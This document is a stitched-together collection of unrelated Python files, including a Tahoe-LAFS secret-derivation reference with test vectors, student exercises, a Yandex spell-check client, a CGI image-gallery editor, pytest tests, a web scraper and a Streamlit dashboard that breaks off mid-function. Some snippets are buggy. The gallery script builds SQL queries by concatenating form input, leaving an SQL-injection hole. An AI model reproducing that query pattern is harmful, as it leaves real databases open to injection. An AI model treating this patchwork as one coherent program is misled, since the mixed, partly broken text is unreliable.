"""
This is a reference implementation of the lease renewal secret derivation
protocol in use by Tahoe-LAFS clients as of 1.16.0.
"""

from allmydata.util.base32 import (
    a2b as b32decode,
    b2a as b32encode,
)
from allmydata.util.hashutil import (
    tagged_hash,
    tagged_pair_hash,
)

def derive_renewal_secret(lease_secret: bytes, storage_index: bytes, tubid: bytes) -> bytes:
    assert len(lease_secret) == 32
    assert len(storage_index) == 16
    assert len(tubid) == 20

    bucket_renewal_tag = b"allmydata_bucket_renewal_secret_v1"
    file_renewal_tag = b"allmydata_file_renewal_secret_v1"
    client_renewal_tag = b"allmydata_client_renewal_secret_v1"

    client_renewal_secret = tagged_hash(lease_secret, client_renewal_tag)
    file_renewal_secret = tagged_pair_hash(
        file_renewal_tag,
        client_renewal_secret,
        storage_index,
    )
    peer_id = tubid

    return tagged_pair_hash(bucket_renewal_tag, file_renewal_secret, peer_id)

def demo():
    secret = b32encode(derive_renewal_secret(
        b"lease secretxxxxxxxxxxxxxxxxxxxx",
        b"storage indexxxx",
        b"tub idxxxxxxxxxxxxxx",
    )).decode("ascii")
    print("An example renewal secret: {}".format(secret))

def test():
    # These test vectors created by intrumenting Tahoe-LAFS
    # bb57fcfb50d4e01bbc4de2e23dbbf7a60c004031 to emit `self.renew_secret` in
    # allmydata.immutable.upload.ServerTracker.query and then uploading a
    # couple files to a couple different storage servers.
    test_vector = [
        dict(lease_secret=b"boity2cdh7jvl3ltaeebuiobbspjmbuopnwbde2yeh4k6x7jioga",
             storage_index=b"vrttmwlicrzbt7gh5qsooogr7u",
             tubid=b"v67jiisoty6ooyxlql5fuucitqiok2ic",
             expected=b"osd6wmc5vz4g3ukg64sitmzlfiaaordutrez7oxdp5kkze7zp5zq",
        ),
        dict(lease_secret=b"boity2cdh7jvl3ltaeebuiobbspjmbuopnwbde2yeh4k6x7jioga",
             storage_index=b"75gmmfts772ww4beiewc234o5e",
             tubid=b"v67jiisoty6ooyxlql5fuucitqiok2ic",
             expected=b"35itmusj7qm2pfimh62snbyxp3imreofhx4djr7i2fweta75szda",
        ),
        dict(lease_secret=b"boity2cdh7jvl3ltaeebuiobbspjmbuopnwbde2yeh4k6x7jioga",
             storage_index=b"75gmmfts772ww4beiewc234o5e",
             tubid=b"lh5fhobkjrmkqjmkxhy3yaonoociggpz",
             expected=b"srrlruge47ws3lm53vgdxprgqb6bz7cdblnuovdgtfkqrygrjm4q",
        ),
        dict(lease_secret=b"vacviff4xfqxsbp64tdr3frg3xnkcsuwt5jpyat2qxcm44bwu75a",
             storage_index=b"75gmmfts772ww4beiewc234o5e",
             tubid=b"lh5fhobkjrmkqjmkxhy3yaonoociggpz",
             expected=b"b4jledjiqjqekbm2erekzqumqzblegxi23i5ojva7g7xmqqnl5pq",
        ),
    ]

    for n, item in enumerate(test_vector):
        derived = b32encode(derive_renewal_secret(
            b32decode(item["lease_secret"]),
            b32decode(item["storage_index"]),
            b32decode(item["tubid"]),
        ))
        assert derived == item["expected"] , \
            "Test vector {} failed: {} (expected) != {} (derived)".format(
                n,
                item["expected"],
                derived,
            )
    print("{} test vectors validated".format(len(test_vector)))

test()
demo()


import csv
import os
import re

#文件组织
# CHN_csv_dirpath\\
#     CHN_CSV_SUBPATH\\
#         46.778N 123.226E.csv
#         ...
#     output_csv
#     newdirpath\\

#中美csv文件夹
CHN_csv_dirpath='G:\\中美华盛顿科考\\扰动图像\\大兴安岭小兴安岭'
USA_csv_dirpath=''
CHN_CSV_SUBPATH=CHN_csv_dirpath+'\\NBR CSV'
USA_CSV_SUBPATH=USA_csv_dirpath+'\\NBR CSV'
#执行命令,读取csv
command=0
if command==0:
    csv_dirpath=CHN_csv_dirpath
    csv_path=CHN_CSV_SUBPATH
    files=os.listdir(csv_path)
    output_csv=CHN_csv_dirpath+'\\daxinganling_datafeatures.csv'
else:
    csv_dirpath=USA_csv_dirpath
    csv_path=USA_CSV_SUBPATH
    files=os.listdir(csv_path)
    output_csv=USA_csv_dirpath+'\\USA_result.csv'

with open(output_csv,'a',newline='') as result_file:
    result_file_writer=csv.writer(result_file)
    for file in files:
        with open(csv_path+'\\'+file,'r') as csvfile:
            csvfile_reader=csv.reader(csvfile)
            #构建参数字典
            Parameters = {
                        'differ_area':0
                    }
            #确定经纬度
            if command==0:
                longtitude=re.findall(r'[ ][1][^E]*',file)[0][1:]
            else:
                longtitude=re.findall(r'[ ][1][^W]*',file)[0][1:]
            latitude=re.findall(r'[^N]*',file)[0]
            #提取年份和NBR信息
            Year = []
            Fitted = []
            i = 0
            for item in csvfile_reader:
                if i > 0:
                    Year.append(int(item[0]))
                    Fitted.append(float(item[2]))
                i += 1
            #提取参数
            #提取差异面积
            predictArea=(Fitted[0]+Fitted[-1])*(Year[-1]-Year[0])/2
            trueArea=sum(Fitted)-(Fitted[0]+Fitted[-1])/2
            Parameters['differ_area']=predictArea-trueArea
            if Parameters['differ_area']<1e-6:
                Parameters['differ_area']=0

            #写入resultcsv中
            result_file_writer.writerow([longtitude,latitude,Parameters['differ_area']])


#we create counter for sum
sum_num = 0
#we go through the for loop to 1000
for i in range(1,1000):
    #if number is multiples of 3 or 5
    if i % 3 == 0 or i % 5 == 0:
        #then sum_num increases by 1
        sum_num += i
        #we print the sum of all the multiples of 3 or 5 below 1000
print(sum_num)


def naughty_or_nice_list(ll, *args, **kwargs):
    counter = 0
    ll_from_args = []
    dict_digits = {}
    dict_kids = {"Naughty": [], "Nice": []}
    dict_check_how_many_times = {}
    for item in args:
        ll_from_args.append(item)
    for elem in ll:
        n = elem[0]
        if n not in dict_digits:
            dict_digits[n] = 0
        dict_digits[n] += 1
    for lists in ll_from_args:
        splited_lists = lists.split('-')
        n = int(splited_lists[0])
        which = splited_lists[1]
        if n in dict_digits:
            if dict_digits[n] == 1:
                for element in ll:
                    if element[0] == 1:
                        dict_kids[which].append(element[1])
                        ll.remove(element)

    print(ll)
    print(dict_kids)
    for tpl in ll:
        name = tpl[1]
        if name not in dict_check_how_many_times:
            dict_check_how_many_times[name] = 0
        dict_check_how_many_times[name] += 1

print(naughty_or_nice_list(
    [
        (3, "Amy"),
        (1, "Tom"),
        (7, "George"),
        (3, "Katy"),
    ],
    "3-Nice",
    "1-Naughty",
    Amy="Nice",
    Katy="Naughty",
))


# Code by Ryvaan Das
x = int(input('Enter the first number: '))
y = int(input('Enter the second number: '))

# Identifying the greater number
if x > y:
    greater = x
    smaller = y
elif y > x:
    greater = y
    smaller = x
else:
    greater = y
    smaller = x

# Main LCM Finding Loop
for i in range(1, smaller + 1):
    if (greater * i) % smaller == 0:
        print('The LCM is ' + str((greater * i)) + '.')
        break


# On the first line of the standard input, you will receive an integer n – the number of heroes that you can choose for
# your party. On the next n lines, the heroes themselves will follow with their hit points and mana points separated by
# a single space in the following format:
# "{hero name} {HP} {MP}"
# -	HP stands for hit points and MP for mana points
# -	a hero can have a maximum of 100 HP and 200 MP
# After you have successfully picked your heroes, you can start playing the game. You will be receiving different
# commands, each on a new line, separated by " – ", until the "End" command is given.
# There are several actions that the heroes can perform:
# "CastSpell – {hero name} – {MP needed} – {spell name}"
# •	If the hero has the required MP, he casts the spell, thus reducing his MP. Print this message:
# o	"{hero name} has successfully cast {spell name} and now has {mana points left} MP!"
# •	If the hero is unable to cast the spell print:
# o	"{hero name} does not have enough MP to cast {spell name}!"
# "TakeDamage – {hero name} – {damage} – {attacker}"
# •	Reduce the hero HP by the given damage amount. If the hero is still alive (his HP is greater than 0) print:
# o	"{hero name} was hit for {damage} HP by {attacker} and now has {current HP} HP left!"
# •	If the hero has died, remove him from your party and print:
# o	"{hero name} has been killed by {attacker}!"
# "Recharge – {hero name} – {amount}"
# •	The hero increases his MP. If it brings the MP of the hero above the maximum value (200), MP is increased to 200.
# (the MP can't go over the maximum value).
# •	 Print the following message:
# o	"{hero name} recharged for {amount recovered} MP!"
# "Heal – {hero name} – {amount}"
# •	The hero increases his HP. If a command is given that would bring the HP of the hero above the maximum value (100),
# HP is increased to 100 (the HP can't go over the maximum value).
# •	 Print the following message:
# o	"{hero name} healed for {amount recovered} HP!"
# Input
# •	On the first line of the standard input, you will receive an integer n
# •	On the following n lines, the heroes themselves will follow with their hit points and mana points separated by a
# space in the following format
# •	You will be receiving different commands, each on a new line, separated by " – ", until the "End" command is given
# Output
# •	Print all members of your party who are still alive, in the following format (their HP/MP need to be indented 2
# spaces):
# "{hero name}
#   HP: {current HP}
#   MP: {current MP}"
# Constraints
# •	The starting HP/MP of the heroes will be valid, 32-bit integers will never be negative or exceed the respective
# limits.
# •	The HP/MP amounts in the commands will never be negative.
# •	The hero names in the commands will always be valid members of your party. No need to check that explicitly.

def cast_spell(command: str):
    action, hero_name, mp_needed, spell_name = command.split(" - ")
    mp_needed = int(mp_needed)
    if heroes[hero_name]["mp"] >= mp_needed:
        heroes[hero_name]["mp"] -= mp_needed
        print(f'{hero_name} has successfully cast {spell_name} and now has {heroes[hero_name]["mp"]} MP!')
    else:
        print(f"{hero_name} does not have enough MP to cast {spell_name}!")

def take_damage(command: str):
    action, hero_name, damage, attacker = command.split(" - ")
    heroes[hero_name]["hp"] -= int(damage)
    if heroes[hero_name]["hp"] > 0:
        print(f'{hero_name} was hit for {damage} HP by {attacker} and now has {heroes[hero_name]["hp"]} HP left!')
    else:
        del heroes[hero_name]
        print(f"{hero_name} has been killed by {attacker}!")

def recharge(command: str):
    max_mp = 200
    action, hero_name, amount = command.split(" - ")
    amount = int(amount)
    if heroes[hero_name]["mp"] + amount > max_mp:
        amount_recovered = max_mp - heroes[hero_name]["mp"]
        heroes[hero_name]["mp"] = max_mp
    else:
        heroes[hero_name]["mp"] += amount
        amount_recovered = amount
    print(f"{hero_name} recharged for {amount_recovered} MP!")

def heal(command: str):
    max_hp = 100
    action, hero_name, amount = command.split(" - ")
    amount = int(amount)
    if heroes[hero_name]["hp"] + amount > max_hp:
        amount_recovered = max_hp - heroes[hero_name]["hp"]
        heroes[hero_name]["hp"] = max_hp
    else:
        heroes[hero_name]["hp"] += amount
        amount_recovered = amount
    print(f"{hero_name} healed for {amount_recovered} HP!")

heroes_count = int(input())
heroes = {}

for hero in range(heroes_count):
    name, hp, mp = input().split()
    hp, mp = int(hp), int(mp)
    heroes[name] = {"hp": hp, "mp": mp}

command = input()
while command != "End":
    if command.startswith("CastSpell"):
        cast_spell(command)
    elif command.startswith("TakeDamage"):
        take_damage(command)
    elif command.startswith("Recharge"):
        recharge(command)
    elif command.startswith("Heal"):
        heal(command)

    command = input()

if heroes:
    for hero in heroes:
        print(f'{hero}\n  HP: {heroes[hero]["hp"]}\n  MP: {heroes[hero]["mp"]}')


from pygears import config, gear, registry
from pygears.typing import Float
from pygears.sim import clk, timestep
import multiprocessing

@gear
async def actuator(x: Float, *, qin, clk_freq, init):

    x_data = init
    while (1):
        if not x.empty():
            x_data = x.get_nb()

        qin.put((x_data, (timestep() + 1) / clk_freq))

        await clk()

@gear
async def sensor(*, qout) -> Float:
    while (1):
        res = qout.get()
        yield res

        await clk()

@gear
def continuous(x: Float, *, f, init_x, clk_freq=None) -> Float:

    if clk_freq is None:
        clk_freq = config['sim/clk_freq']

    qin = multiprocessing.Queue(maxsize=1)
    qout = multiprocessing.Queue(maxsize=1)
    _proc = multiprocessing.context.Process(target=f,
                                            args=(qin, qout, clk_freq, init_x))

    _proc.start()

    def cleanup_event(sim):
        qin.put((None, None))

        if not qout.empty():
            qout.get_nowait()

        if not registry('sim/exception'):
            _proc.join()
        else:
            _proc.terminate()

    def cleanup_setup(_):
        registry('sim/simulator').events['after_cleanup'].append(cleanup_event)

    actuator(x, qin=qin, clk_freq=clk_freq, init=init_x)

    return sensor(qout=qout, sim_setup=cleanup_setup)


import stringenhance

import urllib2
import xml.etree.ElementTree as ET
import glob

def getUserInfos():
	file=open("user_infos.txt",'r')
	lines=file.readlines()
	API_key=lines[0]
	API_key=stringenhance.enhanceApiKey(API_key)
	user=lines[1]

	return API_key,user

def spellCheck(query):
	connected=None

	#try to get user infos. If there is none, exit program.
	try:
		API_key,user=getUserInfos()
	except:
		print ("No user infos found. Please run python config.py")
		raise SystemExit

	#try searching the query online until successful connection is stablished with Yandex's server
	while not connected:
		try:
			search_result=urllib2.urlopen("https://yandex.com/search/xml?user="+user+"&key="+API_key+"&query="+query).read()
			connected=True
		except:
			print ("Couldn't connect to Yandex's server. Trying again...")
			pass

	#check if Yandex recognized your IP address
	if "list of permitted IP addresses" in search_result:
		print ("You need to update your IP addres at https://xml.yandex.com/settings/")
		raise SystemExit

	#get the root of the XML returned from the query
	root=ET.fromstring(search_result)

	#search for the element <text>, which provides the misspell
	corrected_query=[]
	for child in root.iter("text"):
		corrected_query=child.text

	#returns Yandex's suggestion if any or -1 otherwise
	if (corrected_query):
		corrected_query=stringenhance.enhanceSuggestion(corrected_query)
		return corrected_query
	else:
		return -1


#modify_image.py
import cgi
import database_handler
import pymysql
import new_artist

def main():

    print("""
    <!Doctype html>
    <html lang='en'>
    <head>
        <meta charset="UTF-8"/>
        <meta name='viewport' content='width=device-width, initial-scale=1.0' />
        <meta http-equiv='X-UA-Comptatible' content='ie=edge'/>

        <title>Gallery</title>
        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
        <link rel="stylesheet" href="css/style.py">
    </head>
    """)

    imageTitle = ''
    imageNewTitle = ''
    imageLink = ''
    imageGallery = ''
    imageArtist = ''
    imageDetail = ''
    success = 0
    form = cgi.FieldStorage()

    if ( form.getvalue('imageTitle') ):
        imageTitle = form.getvalue('imageTitle')
        imageTitle = imageTitle.lower()
    if ( form.getvalue('imageNewTitle') ):
        imageNewTitle = form.getvalue('imageNewTitle')
        imageNewTitle = imageNewTitle.lower()
    if ( form.getvalue('imageLink') ):
        imageLink = form.getvalue('imageLink')
    if ( form.getvalue('imageGallery') ):
        imageGallery = form.getvalue('imageGallery')
        imageGallery = imageGallery.lower()
    if ( form.getvalue('imageArtist') ):
        imageArtist = form.getvalue('imageArtist')
        imageArtist = imageArtist.lower()
    if ( form.getvalue('imageDetail') ):
        imageDetail = form.getvalue('imageDetail')
        imageDetail = imageDetail.lower()

    imageDetail = ''
    if ( imageTitle == ''):
        print( """
            <body>
                <h1>modify_image.py main(): Need to input name fields.
            </body>
        """)
        print( form )
    else:
        database = database_handler.initialize()
        if ( database == -1 ):
            print("modify_image.py main(): There was an error retrieving the database.")

        cursor = database.cursor()

        #Get both image ids
        query = "SELECT image_id FROM image WHERE title = '" + imageTitle + "'"
        cursor.execute(query)
        response = cursor.fetchone()

        if ( imageNewTitle == '' ):
            query = "SELECT title FROM image WHERE title = '" + imageTitle + "'"
            cursor.execute(query)
            result = cursor.fetchone()
            imageNewTitle = result[0]
        query = "SELECT image_id FROM image WHERE title = '" + imageNewTitle + "'"
        cursor.execute(query)
        response_2 = cursor.fetchone()

        if ( imageLink == '' ):
            query = "SELECT link FROM image WHERE title = '" + imageTitle + "'"
            cursor.execute(query)
            result = cursor.fetchone()
            imageLink = result[0]

        #Get the gallery id
        if (  imageGallery == ''):
            query = "SELECT gallery_id FROM image WHERE title = '" + imageTitle + "'"
            cursor.execute(query)
            result = cursor.fetchone()
            gallery_id = int(result[0])
        else:
            query = "SELECT gallery_id FROM gallery WHERE name = '" + imageGallery + "'"
            cursor.execute(query)
            check = cursor.fetchone()
            if ( check == None ):
                print("Error: The gallery does not exist. Create the gallery first")
                success = -1
        #Get the Artist Id:
        if ( imageArtist == '' ):
            query = "SELECT artist_id FROM image WHERE title = '" + imageTitle + "'"
            cursor.execute(query)
            result = cursor.fetchone()
            artist_id = int(result[0])
        else:
            query = "SELECT artist_id FROM artist WHERE name = '" + imageArtist + "'"
            cursor.execute(query)
            check = cursor.fetchone()
            if ( check == None ):
                print("modify_image.py main(): Artist does not exist. Adding new Artist.")
                artist_id = new_artist.insert_new_artist(imageArtist)
                if ( artist_id != 0 ):
                    print("modify_image.py main(): Artist added successfully")
                else:
                    print("modify_image.py main(): Error Adding Artist")
            else:
                artist_id = int ( check[0] )

        #Get the detail ID
        if ( imageDetail == '' ):
            query = "SELECT detail_id FROM image WHERE title = '" + imageTitle + "'"
            cursor.execute(query)
            result = cursor.fetchone()
            detail_id = int(result[0])
        else:
            query = "SELECT detail_id from detail WHERE image_id = '" + int(response[0]) + "'"
            cursor.execute(query)
            check = cursor.fetchone()
            if ( check == None ):
                print("modify_image.py main(): The image details do not exist")
                detail_id = new_detail.insert_new_detail(image_id)
            else:
                detail_id = int(check[0])

        if ( response == None ):
            print("modify_image.py main(): The image does not exist")
        else:
            image_id = int ( response[0] )
            second_image_id = int ( response_2[0] )

            if ( image_id == second_image_id ):
                query = 'UPDATE image SET title = %s, link = %s, gallery_id = %s, artist_id = %s, detail_id = %s WHERE image_id = %s'
                values = (imageNewTitle, imageLink, gallery_id, artist_id, detail_id, image_id )
                cursor.execute(query, values)
                database.commit()
            else:
                print("modify_image.py main(): There is another image with name %s" % imageNewTitle)
        database.close()
    print("""
            <script>
                window.close()
            </script>
          """)
    return 0

if __name__ == '__main__':
    main()


from operator import truediv
import nbformat
from nbconvert.preprocessors import ExecutePreprocessor
from pprint import pprint

def is_correct(percentage):
    perc = int(percentage)
    if perc > 10 and perc <= 100:
        return True
    else:
        return False

def execute_notebook(notebook_filename):
    with open(notebook_filename) as ff:
        nb = nbformat.read(ff, nbformat.NO_CONVERT)

    pprint(nb['cells'][-1])
    return nb

def test_cnn_assignment():
    nb = execute_notebook('CNN_assignment.ipynb')

    task1 = nb['cells'][-2]['outputs'][-1]['text'].strip().split('\n')[0]
    task2 = nb['cells'][-2]['outputs'][-1]['text'].strip().split('\n')[1]
    task3 = nb['cells'][-2]['outputs'][-1]['text'].strip().split('\n')[3]

    print(task1)
    print(task2)
    print(task3[-4:-2])

    assert task1 == "torch.Size([3, 224, 224])"
    assert task2 == "torch.Size([1, 100])"
    assert is_correct(task3[-4:-2])

if __name__ == '__main__':
    test_cnn_assignment()

Principles of Deep Learning/cnn-assignment/pytest.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""Tests for `filesize_from_stdin` package."""

import pytest

from click.testing import CliRunner

from filesize_from_stdin import filesize_from_stdin
from filesize_from_stdin import cli

@pytest.fixture
def response():
    """Sample pytest fixture.

    See more at: http://doc.pytest.org/en/latest/fixture.html
    """
    # import requests
    # return requests.get('https://github.com/audreyr/cookiecutter-pypackage')

def test_non_empty_file(tmpdir):
    """Test file with single word in it."""
    runner = CliRunner()
    path = tmpdir.join("hello.txt")
    path.write("content")
    assert path.read() == "content"
    result = runner.invoke(cli.main, input=str(path))
    assert result.exit_code == 0
    assert '7B {}'.format(path) in result.output

def test_file_with_space(tmpdir):
    """Test file name with spaces in it."""
    runner = CliRunner()
    path = tmpdir.join("hel lo.txt")
    path.write("content")
    assert path.read() == "content"
    result = runner.invoke(cli.main, input='{}'.format(path))
    assert result.exit_code == 0
    assert '7B {}'.format(path) in result.output

def test_command_line_interface():
    """Test the CLI."""
    runner = CliRunner()
    help_result = runner.invoke(cli.main, ['--help'])
    assert help_result.exit_code == 0
    assert '--help  Show this message and exit.' in help_result.output

def test_file_with_quote_in_name(tmpdir):
    """Test the CLI."""
    runner = CliRunner()
    path = tmpdir.join("hello'.txt")
    path.write("content")
    assert path.read() == "content"
    result = runner.invoke(cli.main, input=str(path))
    assert result.exit_code == 0
    assert '7B {}'.format(path) in result.output

def test_empty_file(tmpdir):
    """Test file with no contents."""
    runner = CliRunner()
    path = tmpdir.join("hello1.txt")
    path.write("")
    assert path.read() == ""
    result = runner.invoke(cli.main, input=str(path))
    assert result.exit_code == 0
    assert '0B {}'.format(path) in result.output

def test_file_does_not_exist(tmpdir):
    """Test non existant files."""
    runner = CliRunner()
    sub = tmpdir.mkdir("sub")
    path = sub.join("non_existant_file.txt")
    assert not sub.listdir()
    result = runner.invoke(cli.main, input=str(path))
    assert result.exit_code == 0
    assert result.output == ''

def test_no_stdin_given():
    """Here's what happens if you don't pass input."""
    runner = CliRunner()
    result = runner.invoke(cli.main)
    assert result.exit_code == 0
    assert result.output == ''


#!/usr/bin/python3.8

def dihedral(p0, p1, p2, p3):
    """Praxeolitic formula
    1 sqrt, 1 cross product

    computing DIHEDRAL angle
            p2
            /
    p0----p1
            \
            p3

    - order matters!

    taken from:

    https://stackoverflow.com/questions/20305272/dihedral-torsion-angle-from-four-points-in-cartesian-coordinates-in-python

    also from:

    https://web.stanford.edu/class/archive/cs/cs279/cs279.1182/assignments/Ramachandran_Plot.py

    """
    import numpy as np

    b0 = -1.0*(p1 - p0)
    b1 = p2 - p1
    b2 = p3 - p2

    if np.linalg.norm(b1) < 0.1:
        return 0

    # normalize b1 so that it does not influence magnitude of vector
    # rejections that come next
    b1 = b1 / np.linalg.norm(b1)

    # vector rejections
    # v = projection of b0 onto plane perpendicular to b1
    #   = b0 minus component that aligns with b1
    # w = projection of b2 onto plane perpendicular to b1
    #   = b2 minus component that aligns with b1
    v = b0 - np.dot(b0, b1)*b1
    w = b2 - np.dot(b2, b1)*b1

    # angle between v and w in a plane is the torsion angle
    # v and w may not be normalized but that's fine since tan is y/x
    x = np.dot(v, w)
    y = np.dot(np.cross(b1, v), w)

    dihedral_angle = np.arctan2(y, x)
    dihedral_angle_degrees = abs(np.degrees(dihedral_angle))

    return dihedral_angle_degrees

# ------------------------------------------------------------------


import requests
import re
import time
import json
import pandas as pd
import os, sys

# 伪装爬虫
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome'
                  '/64.0.3282.140 Safari/537.36 Edge/17.17134'
}
# 处理页码
data = {
    'colcode': '0303',
    'curpage': ''
}
ID0 = 'http://www.ccgp-shandong.gov.cn/sdgp2017/site/read.jsp?colcode=0303&id='
# 获取系统时间并命名cvs文件和excel文件
now = time.strftime('%Y-%m-%d', time.localtime(time.time()))
file_name_cvs = r'G:/SK/python_work/' + now + r"_project.cvs"

# 处理单页的项目
def get_one_page(url):
    try:
        response = requests.post(url, headers=headers, data=data)
        if response.status_code == 200:
            return response.text
    except requests.RequestException:
        print('发生错误!')
        return None

def parse_one_page(html):
    pattern = re.compile('(.*?).*?2018-(.*?)	', re.S)
    items = re.findall(pattern, html)
    for item in items:
        yield (
            ID0 + item[0].strip().strip('\''),
            item[1].strip(),
            item[2]
        )

# 用正则表达式解析单页上的项目
# 用yield生成了字典等待被循环调用
# yield生成器避免了采用字典等处理大量数据时内存耗尽的问题，包含yield生成器的函数自动标为生成器函数，本质上属于特殊的迭代器,可以用next（）
# 进行调用，也可以用for循环

# 写入数据
def write_to_file(content):
    with open(file_name_cvs, 'a', encoding='utf-8') as f:
        print(type(json.dumps(content)))
        f.write(json.dumps(content, ensure_ascii=False) + '\n')  # ensure_ascii=False 保证输出的是文字而不是二进制编码

def main(i):
    data['curpage'] = str(i)
    url = 'http://www.ccgp-shandong.gov.cn/sdgp2017/site/channelall.jsp'
    html = get_one_page(url)
    for item in parse_one_page(html):
        print(item)
        write_to_file(item)

# "Make a script both importable and executable”脚本模块既可以导入到别的模块中用，另外该模块自己也可执行
# 直接执行py文件if __name__ == '__main__'会被执行，从外部文件导入并执行mian（）时，此模块不会执行
if __name__ == '__main__':
    for i in range(1, 2):
        main(i)
        time.sleep(0.1)

for i in range(1, 60):
    main(i)
    time.sleep(0.1)


import numpy as np
import pandas as pd
import streamlit as st
import matplotlib.pyplot as plt
import plotly.graph_objects as go

class DetailedInfoPage:
    '''
    Class for a page with a filter to choose a deck an see all
    statistics of this deck as well as its historics results
    '''

    def __init__(self, df, hist_cols):
        '''
                Init-Method
                :param df: dataframe with elo data
                :param hist_cols: column names with old elo data
        '''
        # set dashboard colors
        self.back_color = "#00172B"
        self.filed_color = "#0083B8"
        # build layout
        self.__build_page_layout(df, hist_cols)

    def __build_page_layout(self, df, hist_cols):
        '''
                Method for creating the layout of the detailed info sub page.
                :param df: dataframe with elo data
                :param hist_cols: list with column names of old elo data
        '''
        # set data format and display a select box for choosing the deck of interest
        deck_ops = df['Deck'].astype(str).to_numpy()
        deck_ops = np.append(np.array(['']), deck_ops)
        deck = st.selectbox('Wähle ein deck', options=deck_ops, index=0)
        # if deck was choosen display the stats
        if len(deck) > 0:
            # find index of the choosen deck and get elo, rank and percentaage of weaker decks
            idx_deck = int(df[df['Deck'] == deck].index.to_numpy())
            tmp_df = df.copy()
            tmp_df = tmp_df[['Deck', 'Elo']].sort_values(
                by=['Elo'], ascending=False).reset_index(drop=True)
            platz = int(tmp_df[tmp_df['Deck'] == deck].index.to_numpy())+1
            percentage = (int((len(df)-platz+1)/len(df)*1000)/10)
            # Layout of deck KPI's, organisation in two rows
            # first row with deck name, tier, Icon, type, win/lose plot and stats spider
            header_col = st.columns([1.6, 1.6, 2, 2, 2.1])
            # display deck name, icon and type
            with header_col[0]:
                st.header(
                    f'{df.at[idx_deck, "Tier"]},    {df.at[idx_deck, "Type"]}')
                img = plt.imread(f'./Deck_Icons/{deck}.png')
                st.image(img, use_column_width=True)
            with header_col[1]:
                fig = self.__semi_circle_plot(
                    df.loc[idx_deck, ['Siege', 'Remis', 'Niederlage']].to_list())
                st.pyplot(fig, transparent=True)
                st.caption('Wanderpokal:   ' + ':star:' *
                           int(df.at[idx_deck, 'Meisterschaft']['Win']['Wanderpokal']))
                st.caption('Fun Pokal:     ' + ':star:' *
                           int(df.at[idx_deck, 'Meisterschaft']['Win']['Fun Pokal']))
                st.caption('Lokal Wins:     ' + ':star:' *
                           int(df.at[idx_deck, 'Meisterschaft']['Win']['Local']))
                st.caption('Lokal Top:     ' + ':star:' *
                           int(df.at[idx_deck, 'Meisterschaft']['Top']['Fun Pokal']))
            with header_col[2]:
                st.metric('Matches', int(
                    df.at[idx_deck, 'Matches']), f"{int(df.at[idx_deck, 'Siege']+df.at[idx_deck, 'Remis']+df.at[idx_deck, 'Niederlage'])} Spiele")
                st.metric(f"Aktueller Rang", value=f'{platz}', delta=f'Besser als {percentage}%')
                with st.expander('Turniere'):
                    table = pd.DataFrame(df.at[idx_deck, 'Meisterschaft']).copy()
                    table.reset_index(inplace=True)
                    table.rename(columns={'index':''}, inplace=True)
                    st.table(table)
            # display win/lose plot
            with header_col[3]:
                ds = pd.Series(df.loc[idx_deck, hist_cols+['Elo']].values)
                ds = ds[ds > 0].reset_index(drop=True)
                st.metric('Aktuelle Elo', df.at[idx_deck, 'Elo'], int(df.at[idx_deck, 'Letzte 3 Monate']))
                st.metric(f"Beste Elo", value=f"{int(df.loc[idx_deck, hist_cols+['Elo']].max())}",
                          delta=f"Schlechteste Elo: {int(ds.min())}", delta_color='inverse')
            # disply stats spider plot
            with header_col[4]:
                #st.metric('Jahresänderung', value=int(df.loc[idx_deck, 'Letzte 12 Monate']))
                categories = ['Attack', 'Control', 'Recovery',
                              'Consistensy', 'Combo', 'Resilience']
                fig = self.__make_spider_plot(
                    df.loc[idx_deck, categories].astype(int).to_list())
                st.plotly_chart(fig, theme="streamlit",
                                use_container_width=True)

            # second row for displaying elo KPI's like rank, titles and historic elo ratings
            fig = self.__line_plot(df, hist_cols, idx_deck)
            st.plotly_chart(fig, theme=None, use_container_width=True)

    def __line_plot(self, df, hist_cols, idx):
        '''
        Method for creating a lineplot of the elo points of the last year
        :param df: dataframe with historic elo
        :param hist_cols: list wit historic columns
        :param idx: index of the current deck
        :return fig: plotly figure object
        '''
        # generate plot dataframe with elo, date and mean of the last year
        df_plot = pd.DataFrame(columns=['Elo'])
        df_plot['Elo'] = df.loc[idx, hist_cols[-4:]+['Elo']].values
        df_plot['Datum'] = hist_cols[-4:]+['Elo']
        df_plot = df_plot[df_plot['Elo'] > 0].reset_index(drop=True)
        df_plot['Mittelw.'] = df_plot['Elo'].mean()
        # generate plotly figure and plot as well as layout of the figure
        fig = go.Figure()
        fig.add_trace(go.Scatter(x=df_plot["Datum"], y=df_plot["Elo"],
                      mode='lines+markers', name='Verlauf', line=dict(color="aqua", width=5)))
        fig.add_trace(go.Scatter(x=df_plot["Datum"], y=df_plot["Mittelw."],
                      mode='lines+markers', name='Mittelw.', line=dict(color=self.filed_color, width=3)))
        fig.update_traces(textposition="bottom right")
        fig.update_layout(font_size=15, template='plotly_white', title='Eloverlauf des letzen Jahres', xaxis_title='Datum', yaxis_title='Elo',
                          paper_bgcolor=self.back_color, plot_bgcolor=self.back_color)
        return fig

    def __make_spider_plot(self, stats):
        '''
        Method to mmake a spider plot to show deck stats
        :param stats: list with stats of the current deck
        return fig: plotly figure object
        '''
        # define categories and append first stats element for connected lines in plot
        categories = ['Attack', 'Control', 'Recovery',
                      'Consistensy', 'Combo', 'Resilience', 'Attack']
        stats.append(stats[0])
        # generate plotly figure and define layout
        plot = go.Scatterpolar(r=stats, theta=categories, fill='toself', line=dict(
            color=self.filed_color, width=3))
        fig = go.Figure(data=[plot], layout=go.Layout(
            paper_bgcolor=self.back_color, plot_bgcolor=self.back_color))
        fig.update_layout(font_size=15,
                          polar=dict(radialaxis=dict(
                              visible=False, range=[0, 5])),
                          showlegend=False, title='Deck Eigenschaften',
                          hovermode="x",
                          width=380,
                          height=380)
        return fig

    def __semi_circle_plot(self, val):
        '''
        Method for plotting a semi circle plot to show number of wins and losses
        :param val: list with win/remis/loss standing
        :return fig: matplotlib figure object
        '''
        # define bottom categorie and display it in background color
        val = np.append(val, sum(val))  # 50% blank
        colors = ['green', 'blue', 'red', self.back_color]
        explode = 0.05*np.ones(len(val))
        # genete figure object, plot and set layout
        fig = plt.figure(figsize=(7, 2))
        ax = fig.add_subplot(1, 1, 1)
